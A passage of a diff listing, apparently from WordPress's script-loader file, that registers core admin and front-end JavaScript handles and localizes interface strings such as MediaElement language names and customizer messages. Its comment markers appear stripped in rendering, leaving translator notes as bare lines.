| 1034 | + | 'mejs.live-broadcast' => __( 'Live Broadcast' ), | |
| 1035 | + | 'mejs.volume-help-text' => __( 'Use Up/Down Arrow keys to increase or decrease volume.' ), | |
| 1036 | + | 'mejs.unmute' => __( 'Unmute' ), | |
| 1037 | + | 'mejs.mute' => __( 'Mute' ), | |
| 1038 | + | 'mejs.volume-slider' => __( 'Volume Slider' ), | |
| 1039 | + | 'mejs.video-player' => __( 'Video Player' ), | |
| 1040 | + | 'mejs.audio-player' => __( 'Audio Player' ), | |
| 1041 | + | 'mejs.captions-subtitles' => __( 'Captions/Subtitles' ), | |
| 1042 | + | 'mejs.captions-chapters' => __( 'Chapters' ), | |
| 1043 | + | 'mejs.none' => __( 'None' ), | |
| 1044 | + | 'mejs.afrikaans' => __( 'Afrikaans' ), | |
| 1045 | + | 'mejs.albanian' => __( 'Albanian' ), | |
| 1046 | + | 'mejs.arabic' => __( 'Arabic' ), | |
| 1047 | + | 'mejs.belarusian' => __( 'Belarusian' ), | |
| 1048 | + | 'mejs.bulgarian' => __( 'Bulgarian' ), | |
| 1049 | + | 'mejs.catalan' => __( 'Catalan' ), | |
| 1050 | + | 'mejs.chinese' => __( 'Chinese' ), | |
| 1051 | + | 'mejs.chinese-simplified' => __( 'Chinese (Simplified)' ), | |
| 1052 | + | 'mejs.chinese-traditional' => __( 'Chinese (Traditional)' ), | |
| 1053 | + | 'mejs.croatian' => __( 'Croatian' ), | |
| 1054 | + | 'mejs.czech' => __( 'Czech' ), | |
| 1055 | + | 'mejs.danish' => __( 'Danish' ), | |
| 1056 | + | 'mejs.dutch' => __( 'Dutch' ), | |
| 1057 | + | 'mejs.english' => __( 'English' ), | |
| 1058 | + | 'mejs.estonian' => __( 'Estonian' ), | |
| 1059 | + | 'mejs.filipino' => __( 'Filipino' ), | |
| 1060 | + | 'mejs.finnish' => __( 'Finnish' ), | |
| 1061 | + | 'mejs.french' => __( 'French' ), | |
| 1062 | + | 'mejs.galician' => __( 'Galician' ), | |
| 1063 | + | 'mejs.german' => __( 'German' ), | |
| 1064 | + | 'mejs.greek' => __( 'Greek' ), | |
| 1065 | + | 'mejs.haitian-creole' => __( 'Haitian Creole' ), | |
| 1066 | + | 'mejs.hebrew' => __( 'Hebrew' ), | |
| 1067 | + | 'mejs.hindi' => __( 'Hindi' ), | |
| 1068 | + | 'mejs.hungarian' => __( 'Hungarian' ), | |
| 1069 | + | 'mejs.icelandic' => __( 'Icelandic' ), | |
| 1070 | + | 'mejs.indonesian' => __( 'Indonesian' ), | |
| 1071 | + | 'mejs.irish' => __( 'Irish' ), | |
| 1072 | + | 'mejs.italian' => __( 'Italian' ), | |
| 1073 | + | 'mejs.japanese' => __( 'Japanese' ), | |
| 1074 | + | 'mejs.korean' => __( 'Korean' ), | |
| 1075 | + | 'mejs.latvian' => __( 'Latvian' ), | |
| 1076 | + | 'mejs.lithuanian' => __( 'Lithuanian' ), | |
| 1077 | + | 'mejs.macedonian' => __( 'Macedonian' ), | |
| 1078 | + | 'mejs.malay' => __( 'Malay' ), | |
| 1079 | + | 'mejs.maltese' => __( 'Maltese' ), | |
| 1080 | + | 'mejs.norwegian' => __( 'Norwegian' ), | |
| 1081 | + | 'mejs.persian' => __( 'Persian' ), | |
| 1082 | + | 'mejs.polish' => __( 'Polish' ), | |
| 1083 | + | 'mejs.portuguese' => __( 'Portuguese' ), | |
| 1084 | + | 'mejs.romanian' => __( 'Romanian' ), | |
| 1085 | + | 'mejs.russian' => __( 'Russian' ), | |
| 1086 | + | 'mejs.serbian' => __( 'Serbian' ), | |
| 1087 | + | 'mejs.slovak' => __( 'Slovak' ), | |
| 1088 | + | 'mejs.slovenian' => __( 'Slovenian' ), | |
| 1089 | + | 'mejs.spanish' => __( 'Spanish' ), | |
| 1090 | + | 'mejs.swahili' => __( 'Swahili' ), | |
| 1091 | + | 'mejs.swedish' => __( 'Swedish' ), | |
| 1092 | + | 'mejs.tagalog' => __( 'Tagalog' ), | |
| 1093 | + | 'mejs.thai' => __( 'Thai' ), | |
| 1094 | + | 'mejs.turkish' => __( 'Turkish' ), | |
| 1095 | + | 'mejs.ukrainian' => __( 'Ukrainian' ), | |
| 1096 | + | 'mejs.vietnamese' => __( 'Vietnamese' ), | |
| 1097 | + | 'mejs.welsh' => __( 'Welsh' ), | |
| 1098 | + | 'mejs.yiddish' => __( 'Yiddish' ), | |
| 1099 | + | ), | |
| 1100 | + | ) | |
| 1101 | + | ) | |
| 1102 | + | ), | |
| 1103 | + | 'before' | |
| 1104 | + | ); | |
| 1105 | + | ||
| 1106 | + | $scripts->add( 'mediaelement-vimeo', '/wp-includes/js/mediaelement/renderers/vimeo.min.js', array( 'mediaelement' ), '4.2.17', 1 ); | |
| 1107 | + | $scripts->add( 'wp-mediaelement', "/wp-includes/js/mediaelement/wp-mediaelement$suffix.js", array( 'mediaelement' ), false, 1 ); | |
| 1108 | + | $mejs_settings = array( | |
| 1109 | + | 'pluginPath' => includes_url( 'js/mediaelement/', 'relative' ), | |
| 1110 | + | 'classPrefix' => 'mejs-', | |
| 1111 | + | 'stretching' => 'responsive', | |
| 1112 | + | ); | |
| 1113 | + | did_action( 'init' ) && $scripts->localize( | |
| 1114 | + | 'mediaelement', | |
| 1115 | + | '_wpmejsSettings', | |
| 1116 | + | * | |
| 1117 | + | * Filters the MediaElement configuration settings. | |
| 1118 | + | * | |
| 1119 | + | * @since 4.4.0 | |
| 1120 | + | * | |
| 1121 | + | * @param array $mejs_settings MediaElement settings array. | |
| 1122 | + | ||
| 1123 | + | apply_filters( 'mejs_settings', $mejs_settings ) | |
| 1124 | + | ); | |
| 1125 | + | ||
| 1126 | + | $scripts->add( 'wp-codemirror', '/wp-includes/js/codemirror/codemirror.min.js', array(), '5.29.1-alpha-ee20357' ); | |
| 1127 | + | $scripts->add( 'csslint', '/wp-includes/js/codemirror/csslint.js', array(), '1.0.5' ); | |
| 1128 | + | $scripts->add( 'esprima', '/wp-includes/js/codemirror/esprima.js', array(), '4.0.0' ); | |
| 1129 | + | $scripts->add( 'jshint', '/wp-includes/js/codemirror/fakejshint.js', array( 'esprima' ), '2.9.5' ); | |
| 1130 | + | $scripts->add( 'jsonlint', '/wp-includes/js/codemirror/jsonlint.js', array(), '1.6.2' ); | |
| 1131 | + | $scripts->add( 'htmlhint', '/wp-includes/js/codemirror/htmlhint.js', array(), '0.9.14-xwp' ); | |
| 1132 | + | $scripts->add( 'htmlhint-kses', '/wp-includes/js/codemirror/htmlhint-kses.js', array( 'htmlhint' ) ); | |
| 1133 | + | $scripts->add( 'code-editor', "/wp-admin/js/code-editor$suffix.js", array( 'jquery', 'wp-codemirror', 'underscore' ) ); | |
| 1134 | + | $scripts->add( 'wp-theme-plugin-editor', "/wp-admin/js/theme-plugin-editor$suffix.js", array( 'common', 'wp-util', 'wp-sanitize', 'jquery', 'jquery-ui-core', 'wp-a11y', 'underscore' ) ); | |
| 1135 | + | $scripts->set_translations( 'wp-theme-plugin-editor' ); | |
| 1136 | + | ||
| 1137 | + | $scripts->add( 'wp-playlist', "/wp-includes/js/mediaelement/wp-playlist$suffix.js", array( 'wp-util', 'backbone', 'mediaelement' ), false, 1 ); | |
| 1138 | + | ||
| 1139 | + | $scripts->add( 'zxcvbn-async', "/wp-includes/js/zxcvbn-async$suffix.js", array(), '1.0' ); | |
| 1140 | + | did_action( 'init' ) && $scripts->localize( | |
| 1141 | + | 'zxcvbn-async', | |
| 1142 | + | '_zxcvbnSettings', | |
| 1143 | + | array( | |
| 1144 | + | 'src' => empty( $guessed_url ) ? includes_url( '/js/zxcvbn.min.js' ) : $scripts->base_url . '/wp-includes/js/zxcvbn.min.js', | |
| 1145 | + | ) | |
| 1146 | + | ); | |
| 1147 | + | ||
| 1148 | + | $scripts->add( 'password-strength-meter', "/wp-admin/js/password-strength-meter$suffix.js", array( 'jquery', 'zxcvbn-async' ), false, 1 ); | |
| 1149 | + | did_action( 'init' ) && $scripts->localize( | |
| 1150 | + | 'password-strength-meter', | |
| 1151 | + | 'pwsL10n', | |
| 1152 | + | array( | |
| 1153 | + | 'unknown' => _x( 'Password strength unknown', 'password strength' ), | |
| 1154 | + | 'short' => _x( 'Very weak', 'password strength' ), | |
| 1155 | + | 'bad' => _x( 'Weak', 'password strength' ), | |
| 1156 | + | 'good' => _x( 'Medium', 'password strength' ), | |
| 1157 | + | 'strong' => _x( 'Strong', 'password strength' ), | |
| 1158 | + | 'mismatch' => _x( 'Mismatch', 'password mismatch' ), | |
| 1159 | + | ) | |
| 1160 | + | ); | |
| 1161 | + | $scripts->set_translations( 'password-strength-meter' ); | |
| 1162 | + | ||
| 1163 | + | $scripts->add( 'application-passwords', "/wp-admin/js/application-passwords$suffix.js", array( 'jquery', 'wp-util', 'wp-api-request', 'wp-date', 'wp-i18n', 'wp-hooks' ), false, 1 ); | |
| 1164 | + | $scripts->set_translations( 'application-passwords' ); | |
| 1165 | + | ||
| 1166 | + | $scripts->add( 'auth-app', "/wp-admin/js/auth-app$suffix.js", array( 'jquery', 'wp-api-request', 'wp-i18n', 'wp-hooks' ), false, 1 ); | |
| 1167 | + | $scripts->set_translations( 'auth-app' ); | |
| 1168 | + | ||
| 1169 | + | $scripts->add( 'user-profile', "/wp-admin/js/user-profile$suffix.js", array( 'jquery', 'password-strength-meter', 'wp-util' ), false, 1 ); | |
| 1170 | + | $scripts->set_translations( 'user-profile' ); | |
| 1171 | + | $user_id = isset( $_GET['user_id'] ) ? (int) $_GET['user_id'] : 0; | |
| 1172 | + | did_action( 'init' ) && $scripts->localize( | |
| 1173 | + | 'user-profile', | |
| 1174 | + | 'userProfileL10n', | |
| 1175 | + | array( | |
| 1176 | + | 'user_id' => $user_id, | |
| 1177 | + | 'nonce' => wp_installing() ? '' : wp_create_nonce( 'reset-password-for-' . $user_id ), | |
| 1178 | + | ) | |
| 1179 | + | ); | |
| 1180 | + | ||
| 1181 | + | $scripts->add( 'language-chooser', "/wp-admin/js/language-chooser$suffix.js", array( 'jquery' ), false, 1 ); | |
| 1182 | + | ||
| 1183 | + | $scripts->add( 'user-suggest', "/wp-admin/js/user-suggest$suffix.js", array( 'jquery-ui-autocomplete' ), false, 1 ); | |
| 1184 | + | ||
| 1185 | + | $scripts->add( 'admin-bar', "/wp-includes/js/admin-bar$suffix.js", array( 'hoverintent-js' ), false, 1 ); | |
| 1186 | + | ||
| 1187 | + | $scripts->add( 'wplink', "/wp-includes/js/wplink$suffix.js", array( 'jquery', 'wp-a11y' ), false, 1 ); | |
| 1188 | + | did_action( 'init' ) && $scripts->localize( | |
| 1189 | + | 'wplink', | |
| 1190 | + | 'wpLinkL10n', | |
| 1191 | + | array( | |
| 1192 | + | 'title' => __( 'Insert/edit link' ), | |
| 1193 | + | 'update' => __( 'Update' ), | |
| 1194 | + | 'save' => __( 'Add Link' ), | |
| 1195 | + | 'noTitle' => __( '(no title)' ), | |
| 1196 | + | 'noMatchesFound' => __( 'No results found.' ), | |
| 1197 | + | 'linkSelected' => __( 'Link selected.' ), | |
| 1198 | + | 'linkInserted' => __( 'Link inserted.' ), | |
| 1199 | + | translators: Minimum input length in characters to start searching posts in the "Insert/edit link" modal. | |
| 1200 | + | 'minInputLength' => (int) _x( '3', 'minimum input length for searching post links' ), | |
| 1201 | + | ) | |
| 1202 | + | ); | |
| 1203 | + | ||
| 1204 | + | $scripts->add( 'wpdialogs', "/wp-includes/js/wpdialog$suffix.js", array( 'jquery-ui-dialog' ), false, 1 ); | |
| 1205 | + | ||
| 1206 | + | $scripts->add( 'word-count', "/wp-admin/js/word-count$suffix.js", array(), false, 1 ); | |
| 1207 | + | ||
| 1208 | + | $scripts->add( 'media-upload', "/wp-admin/js/media-upload$suffix.js", array( 'thickbox', 'shortcode' ), false, 1 ); | |
| 1209 | + | ||
| 1210 | + | $scripts->add( 'hoverIntent', "/wp-includes/js/hoverIntent$suffix.js", array( 'jquery' ), '1.10.2', 1 ); | |
| 1211 | + | ||
| 1212 | + | JS-only version of hoverintent (no dependencies). | |
| 1213 | + | $scripts->add( 'hoverintent-js', '/wp-includes/js/hoverintent-js.min.js', array(), '2.2.1', 1 ); | |
| 1214 | + | ||
| 1215 | + | $scripts->add( 'customize-base', "/wp-includes/js/customize-base$suffix.js", array( 'jquery', 'json2', 'underscore' ), false, 1 ); | |
| 1216 | + | $scripts->add( 'customize-loader', "/wp-includes/js/customize-loader$suffix.js", array( 'customize-base' ), false, 1 ); | |
| 1217 | + | $scripts->add( 'customize-preview', "/wp-includes/js/customize-preview$suffix.js", array( 'wp-a11y', 'customize-base' ), false, 1 ); | |
| 1218 | + | $scripts->add( 'customize-models', '/wp-includes/js/customize-models.js', array( 'underscore', 'backbone' ), false, 1 ); | |
| 1219 | + | $scripts->add( 'customize-views', '/wp-includes/js/customize-views.js', array( 'jquery', 'underscore', 'imgareaselect', 'customize-models', 'media-editor', 'media-views' ), false, 1 ); | |
| 1220 | + | $scripts->add( 'customize-controls', "/wp-admin/js/customize-controls$suffix.js", array( 'customize-base', 'wp-a11y', 'wp-util', 'jquery-ui-core' ), false, 1 ); | |
| 1221 | + | did_action( 'init' ) && $scripts->localize( | |
| 1222 | + | 'customize-controls', | |
| 1223 | + | '_wpCustomizeControlsL10n', | |
| 1224 | + | array( | |
| 1225 | + | 'activate' => __( 'Activate & Publish' ), | |
| 1226 | + | 'save' => __( 'Save & Publish' ), @todo Remove as not required. | |
| 1227 | + | 'publish' => __( 'Publish' ), | |
| 1228 | + | 'published' => __( 'Published' ), | |
| 1229 | + | 'saveDraft' => __( 'Save Draft' ), | |
| 1230 | + | 'draftSaved' => __( 'Draft Saved' ), | |
| 1231 | + | 'updating' => __( 'Updating' ), | |
| 1232 | + | 'schedule' => _x( 'Schedule', 'customizer changeset action/button label' ), | |
| 1233 | + | 'scheduled' => _x( 'Scheduled', 'customizer changeset status' ), | |
| 1234 | + | 'invalid' => __( 'Invalid' ), | |
| 1235 | + | 'saveBeforeShare' => __( 'Please save your changes in order to share the preview.' ), | |
| 1236 | + | 'futureDateError' => __( 'You must supply a future date to schedule.' ), | |
| 1237 | + | 'saveAlert' => __( 'The changes you made will be lost if you navigate away from this page.' ), | |
| 1238 | + | 'saved' => __( 'Saved' ), | |
| 1239 | + | 'cancel' => __( 'Cancel' ), | |
| 1240 | + | 'close' => __( 'Close' ), | |
| 1241 | + | 'action' => __( 'Action' ), | |
| 1242 | + | 'discardChanges' => __( 'Discard changes' ), | |
| 1243 | + | 'cheatin' => __( 'Something went wrong.' ), | |
| 1244 | + | 'notAllowedHeading' => __( 'You need a higher level of permission.' ), | |
| 1245 | + | 'notAllowed' => __( 'Sorry, you are not allowed to customize this site.' ), | |
| 1246 | + | 'previewIframeTitle' => __( 'Site Preview' ), | |
| 1247 | + | 'loginIframeTitle' => __( 'Session expired' ), | |
| 1248 | + | 'collapseSidebar' => _x( 'Hide Controls', 'label for hide controls button without length constraints' ), | |
| 1249 | + | 'expandSidebar' => _x( 'Show Controls', 'label for hide controls button without length constraints' ), | |
| 1250 | + | 'untitledBlogName' => __( '(Untitled)' ), | |
| 1251 | + | 'unknownRequestFail' => __( 'Looks like something’s gone wrong. Wait a couple seconds, and then try again.' ), | |
| 1252 | + | 'themeDownloading' => __( 'Downloading your new theme…' ), | |
| 1253 | + | 'themePreviewWait' => __( 'Setting up your live preview. This may take a bit.' ), | |
| 1254 | + | 'revertingChanges' => __( 'Reverting unpublished changes…' ), | |
| 1255 | + | 'trashConfirm' => __( 'Are you sure you want to discard your unpublished changes?' ), | |
| 1256 | + | translators: %s: Display name of the user who has taken over the changeset in customizer. | |
| 1257 | + | 'takenOverMessage' => __( '%s has taken over and is currently customizing.' ), | |
| 1258 | + | translators: %s: URL to the Customizer to load the autosaved version. | |
| 1259 | + | 'autosaveNotice' => __( 'There is a more recent autosave of your changes than the one you are previewing. <a href="%s">Restore the autosave</a>' ), | |
| 1260 | + | 'videoHeaderNotice' => __( 'This theme does not support video headers on this page. Navigate to the front page or another page that supports video headers.' ), | |
| 1261 | + | Used for overriding the file types allowed in Plupload. | |
| 1262 | + | 'allowedFiles' => __( 'Allowed Files' ), | |
| 1263 | + | 'customCssError' => array( | |
| 1264 | + | translators: %d: Error count. | |
| 1265 | + | 'singular' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 1 ), | |
| 1266 | + | translators: %d: Error count. | |
| 1267 | + | 'plural' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 2 ), | |
| 1268 | + | @todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491. | |
| 1269 | + | ), | |
| 1270 | + | 'pageOnFrontError' => __( 'Homepage and posts page must be different.' ), | |
| 1271 | + | 'saveBlockedError' => array( | |
| 1272 | + | translators: %s: Number of invalid settings. | |
| 1273 | + | 'singular' => _n( 'Unable to save due to %s invalid setting.', 'Unable to save due to %s invalid settings.', 1 ), | |
| 1274 | + | translators: %s: Number of invalid settings. | |
| 1275 | + | 'plural' => _n( 'Unable to save due to %s invalid setting.', 'Unable to save due to %s invalid settings.', 2 ), | |
| 1276 | + | @todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491. | |
| 1277 | + | ), | |
| 1278 | + | 'scheduleDescription' => __( 'Schedule your customization changes to publish ("go live") at a future date.' ), | |
| 1279 | + | 'themePreviewUnavailable' => __( 'Sorry, you cannot preview new themes when you have changes scheduled or saved as a draft. Please publish your changes, or wait until they publish to preview new themes.' ), | |
| 1280 | + | 'themeInstallUnavailable' => sprintf( | |
| 1281 | + | translators: %s: URL to Add Themes admin screen. | |
| 1282 | + | __( 'You will not be able to install new themes from here yet since your install requires SFTP credentials. For now, please <a href="%s">add themes in the admin</a>.' ), | |
| 1283 | + | esc_url( admin_url( 'theme-install.php' ) ) | |
| 1284 | + | ), | |
| 1285 | + | 'publishSettings' => __( 'Publish Settings' ), | |
| 1286 | + | 'invalidDate' => __( 'Invalid date.' ), | |
| 1287 | + | 'invalidValue' => __( 'Invalid value.' ), | |
| 1288 | + | 'blockThemeNotification' => sprintf( | |
| 1289 | + | translators: 1: Link to Site Editor documentation on HelpHub, 2: HTML button. | |
| 1290 | + | __( 'Hurray! Your theme supports site editing with blocks. <a href="%1$s">Tell me more</a>. %2$s' ), | |
| 1291 | + | __( 'https:wordpress.org/support/article/site-editor/' ), | |
| 1292 | + | sprintf( | |
| 1293 | + | '<button type="button" data-action="%1$s" class="button switch-to-editor">%2$s</button>', | |
| 1294 | + | esc_url( admin_url( 'site-editor.php' ) ), | |
| 1295 | + | __( 'Use Site Editor' ) | |
| 1296 | + | ) | |
| 1297 | + | ), | |
| 1298 | + | ) | |
| 1299 | + | ); | |
| 1300 | + | $scripts->add( 'customize-selective-refresh', "/wp-includes/js/customize-selective-refresh$suffix.js", array( 'jquery', 'wp-util', 'customize-preview' ), false, 1 ); | |
| 1301 | + | ||
| 1302 | + | $scripts->add( 'customize-widgets', "/wp-admin/js/customize-widgets$suffix.js", array( 'jquery', 'jquery-ui-sortable', 'jquery-ui-droppable', 'wp-backbone', 'customize-controls' ), false, 1 ); | |
| 1303 | + | $scripts->add( 'customize-preview-widgets', "/wp-includes/js/customize-preview-widgets$suffix.js", array( 'jquery', 'wp-util', 'customize-preview', 'customize-selective-refresh' ), false, 1 ); | |
| 1304 | + | ||
| 1305 | + | $scripts->add( 'customize-nav-menus', "/wp-admin/js/customize-nav-menus$suffix.js", array( 'jquery', 'wp-backbone', 'customize-controls', 'accordion', 'nav-menu', 'wp-sanitize' ), false, 1 ); | |
| 1306 | + | $scripts->add( 'customize-preview-nav-menus', "/wp-includes/js/customize-preview-nav-menus$suffix.js", array( 'jquery', 'wp-util', 'customize-preview', 'customize-selective-refresh' ), false, 1 ); | |
| 1307 | + | ||
| 1308 | + | $scripts->add( 'wp-custom-header', "/wp-includes/js/wp-custom-header$suffix.js", array( 'wp-a11y' ), false, 1 ); | |
| 1309 | + | ||
| 1310 | + | $scripts->add( 'accordion', "/wp-admin/js/accordion$suffix.js", array( 'jquery' ), false, 1 ); | |
| 1311 | + | ||
| 1312 | + | $scripts->add( 'shortcode', "/wp-includes/js/shortcode$suffix.js", array( 'underscore' ), false, 1 ); | |
| 1313 | + | $scripts->add( 'media-models', "/wp-includes/js/media-models$suffix.js", array( 'wp-backbone' ), false, 1 ); | |
| 1314 | + | did_action( 'init' ) && $scripts->localize( | |
| 1315 | + | 'media-models', | |
| 1316 | + | '_wpMediaModelsL10n', | |
| 1317 | + | array( | |
| 1318 | + | 'settings' => array( | |
| 1319 | + | 'ajaxurl' => admin_url( 'admin-ajax.php', 'relative' ), | |
| 1320 | + | 'post' => array( 'id' => 0 ), | |
| 1321 | + | ), | |
| 1322 | + | ) | |
| 1323 | + | ); | |
| 1324 | + | ||
| 1325 | + | $scripts->add( 'wp-embed', "/wp-includes/js/wp-embed$suffix.js", array(), false, 1 ); | |
| 1326 | + | ||
| 1327 | + | To enqueue media-views or media-editor, call wp_enqueue_media(). | |
| 1328 | + | Both rely on numerous settings, styles, and templates to operate correctly. | |
| 1329 | + | $scripts->add( 'media-views', "/wp-includes/js/media-views$suffix.js", array( 'utils', 'media-models', 'wp-plupload', 'jquery-ui-sortable', 'wp-mediaelement', 'wp-api-request', 'wp-a11y', 'clipboard' ), false, 1 ); | |
| 1330 | + | $scripts->set_translations( 'media-views' ); | |
| 1331 | + | ||
| 1332 | + | $scripts->add( 'media-editor', "/wp-includes/js/media-editor$suffix.js", array( 'shortcode', 'media-views' ), false, 1 ); | |
| 1333 | + | $scripts->set_translations( 'media-editor' ); | |
| 1334 | + | $scripts->add( 'media-audiovideo', "/wp-includes/js/media-audiovideo$suffix.js", array( 'media-editor' ), false, 1 ); | |
| 1335 | + | $scripts->add( 'mce-view', "/wp-includes/js/mce-view$suffix.js", array( 'shortcode', 'jquery', 'media-views', 'media-audiovideo' ), false, 1 ); | |
| 1336 | + | ||
| 1337 | + | $scripts->add( 'wp-api', "/wp-includes/js/wp-api$suffix.js", array( 'jquery', 'backbone', 'underscore', 'wp-api-request' ), false, 1 ); | |
| 1338 | + | ||
| 1339 | + | if ( is_admin() ) { | |
| 1340 | + | $scripts->add( 'admin-tags', "/wp-admin/js/tags$suffix.js", array( 'jquery', 'wp-ajax-response' ), false, 1 ); | |
| 1341 | + | $scripts->set_translations( 'admin-tags' ); | |
| 1342 | + | ||
| 1343 | + | $scripts->add( 'admin-comments', "/wp-admin/js/edit-comments$suffix.js", array( 'wp-lists', 'quicktags', 'jquery-query' ), false, 1 ); | |
| 1344 | + | $scripts->set_translations( 'admin-comments' ); | |
| 1345 | + | did_action( 'init' ) && $scripts->localize( | |
| 1346 | + | 'admin-comments', | |
| 1347 | + | 'adminCommentsSettings', | |
| 1348 | + | array( | |
| 1349 | + | 'hotkeys_highlight_first' => isset( $_GET['hotkeys_highlight_first'] ), | |
| 1350 | + | 'hotkeys_highlight_last' => isset( $_GET['hotkeys_highlight_last'] ), | |
| 1351 | + | ) | |
| 1352 | + | ); | |
| 1353 | + | ||
| 1354 | + | $scripts->add( 'xfn', "/wp-admin/js/xfn$suffix.js", array( 'jquery' ), false, 1 ); | |
| 1355 | + | ||
| 1356 | + | $scripts->add( 'postbox', "/wp-admin/js/postbox$suffix.js", array( 'jquery-ui-sortable', 'wp-a11y' ), false, 1 ); | |
| 1357 | + | $scripts->set_translations( 'postbox' ); | |
| 1358 | + | ||
| 1359 | + | $scripts->add( 'tags-box', "/wp-admin/js/tags-box$suffix.js", array( 'jquery', 'tags-suggest' ), false, 1 ); | |
| 1360 | + | $scripts->set_translations( 'tags-box' ); | |
| 1361 | + | ||
| 1362 | + | $scripts->add( 'tags-suggest', "/wp-admin/js/tags-suggest$suffix.js", array( 'jquery-ui-autocomplete', 'wp-a11y' ), false, 1 ); | |
| 1363 | + | $scripts->set_translations( 'tags-suggest' ); | |
| 1364 | + | ||
| 1365 | + | $scripts->add( 'post', "/wp-admin/js/post$suffix.js", array( 'suggest', 'wp-lists', 'postbox', 'tags-box', 'underscore', 'word-count', 'wp-a11y', 'wp-sanitize', 'clipboard' ), false, 1 ); | |
| 1366 | + | $scripts->set_translations( 'post' ); | |
| 1367 | + | ||
| 1368 | + | $scripts->add( 'editor-expand', "/wp-admin/js/editor-expand$suffix.js", array( 'jquery', 'underscore' ), false, 1 ); | |
| 1369 | + | ||
| 1370 | + | $scripts->add( 'link', "/wp-admin/js/link$suffix.js", array( 'wp-lists', 'postbox' ), false, 1 ); | |
| 1371 | + | ||
| 1372 | + | $scripts->add( 'comment', "/wp-admin/js/comment$suffix.js", array( 'jquery', 'postbox' ), false, 1 ); | |
| 1373 | + | $scripts->set_translations( 'comment' ); | |
| 1374 | + | ||
| 1375 | + | $scripts->add( 'admin-gallery', "/wp-admin/js/gallery$suffix.js", array( 'jquery-ui-sortable' ) ); | |
| 1376 | + | ||
| 1377 | + | $scripts->add( 'admin-widgets', "/wp-admin/js/widgets$suffix.js", array( 'jquery-ui-sortable', 'jquery-ui-draggable', 'jquery-ui-droppable', 'wp-a11y' ), false, 1 ); | |
| 1378 | + | $scripts->set_translations( 'admin-widgets' ); | |
| 1379 | + | ||
| 1380 | + | $scripts->add( 'media-widgets', "/wp-admin/js/widgets/media-widgets$suffix.js", array( 'jquery', 'media-models', 'media-views', 'wp-api-request' ) ); | |
| 1381 | + | $scripts->add_inline_script( 'media-widgets', 'wp.mediaWidgets.init();', 'after' ); | |
| 1382 | + | ||
| 1383 | + | $scripts->add( 'media-audio-widget', "/wp-admin/js/widgets/media-audio-widget$suffix.js", array( 'media-widgets', 'media-audiovideo' ) ); | |
| 1384 | + | $scripts->add( 'media-image-widget', "/wp-admin/js/widgets/media-image-widget$suffix.js", array( 'media-widgets' ) ); | |
| 1385 | + | $scripts->add( 'media-gallery-widget', "/wp-admin/js/widgets/media-gallery-widget$suffix.js", array( 'media-widgets' ) ); | |
| 1386 | + | $scripts->add( 'media-video-widget', "/wp-admin/js/widgets/media-video-widget$suffix.js", array( 'media-widgets', 'media-audiovideo', 'wp-api-request' ) ); | |
| 1387 | + | $scripts->add( 'text-widgets', "/wp-admin/js/widgets/text-widgets$suffix.js", array( 'jquery', 'backbone', 'editor', 'wp-util', 'wp-a11y' ) ); | |
| 1388 | + | $scripts->add( 'custom-html-widgets', "/wp-admin/js/widgets/custom-html-widgets$suffix.js", array( 'jquery', 'backbone', 'wp-util', 'jquery-ui-core', 'wp-a11y' ) ); | |
| 1389 | + | ||
| 1390 | + | $scripts->add( 'theme', "/wp-admin/js/theme$suffix.js", array( 'wp-backbone', 'wp-a11y', 'customize-base' ), false, 1 ); | |
| 1391 | + | ||
| 1392 | + | $scripts->add( 'inline-edit-post', "/wp-admin/js/inline-edit-post$suffix.js", array( 'jquery', 'tags-suggest', 'wp-a11y' ), false, 1 ); | |
| 1393 | + | $scripts->set_translations( 'inline-edit-post' ); | |
| 1394 | + | ||
| 1395 | + | $scripts->add( 'inline-edit-tax', "/wp-admin/js/inline-edit-tax$suffix.js", array( 'jquery', 'wp-a11y' ), false, 1 ); | |
| 1396 | + | $scripts->set_translations( 'inline-edit-tax' ); | |
| 1397 | + | ||
| 1398 | + | $scripts->add( 'plugin-install', "/wp-admin/js/plugin-install$suffix.js", array( 'jquery', 'jquery-ui-core', 'thickbox' ), false, 1 ); | |
| 1399 | + | $scripts->set_translations( 'plugin-install' ); | |
| 1400 | + | ||
| 1401 | + | $scripts->add( 'site-health', "/wp-admin/js/site-health$suffix.js", array( 'clipboard', 'jquery', 'wp-util', 'wp-a11y', 'wp-api-request', 'wp-url', 'wp-i18n', 'wp-hooks' ), false, 1 ); | |
| 1402 | + | $scripts->set_translations( 'site-health' ); | |
| 1403 | + | ||
| 1404 | + | $scripts->add( 'privacy-tools', "/wp-admin/js/privacy-tools$suffix.js", array( 'jquery', 'wp-a11y' ), false, 1 ); | |
| 1405 | + | $scripts->set_translations( 'privacy-tools' ); | |
| 1406 | + | ||
| 1407 | + | $scripts->add( 'updates', "/wp-admin/js/updates$suffix.js", array( 'common', 'jquery', 'wp-util', 'wp-a11y', 'wp-sanitize', 'wp-i18n' ), false, 1 ); | |
| 1408 | + | $scripts->set_translations( 'updates' ); | |
| 1409 | + | did_action( 'init' ) && $scripts->localize( | |
| 1410 | + | 'updates', | |
| 1411 | + | '_wpUpdatesSettings', | |
| 1412 | + | array( | |
| 1413 | + | 'ajax_nonce' => wp_installing() ? '' : wp_create_nonce( 'updates' ), | |
| 1414 | + | ) | |
| 1415 | + | ); | |
| 1416 | + | ||
| 1417 | + | $scripts->add( 'farbtastic', '/wp-admin/js/farbtastic.js', array( 'jquery' ), '1.2' ); | |
| 1418 | + | ||
| 1419 | + | $scripts->add( 'iris', '/wp-admin/js/iris.min.js', array( 'jquery-ui-draggable', 'jquery-ui-slider', 'jquery-touch-punch' ), '1.1.1', 1 ); | |
| 1420 | + | $scripts->add( 'wp-color-picker', "/wp-admin/js/color-picker$suffix.js", array( 'iris' ), false, 1 ); | |
| 1421 | + | $scripts->set_translations( 'wp-color-picker' ); | |
| 1422 | + | ||
| 1423 | + | $scripts->add( 'dashboard', "/wp-admin/js/dashboard$suffix.js", array( 'jquery', 'admin-comments', 'postbox', 'wp-util', 'wp-a11y', 'wp-date' ), false, 1 ); | |
| 1424 | + | $scripts->set_translations( 'dashboard' ); | |
| 1425 | + | ||
| 1426 | + | $scripts->add( 'list-revisions', "/wp-includes/js/wp-list-revisions$suffix.js" ); | |
| 1427 | + | ||
| 1428 | + | $scripts->add( 'media-grid', "/wp-includes/js/media-grid$suffix.js", array( 'media-editor' ), false, 1 ); | |
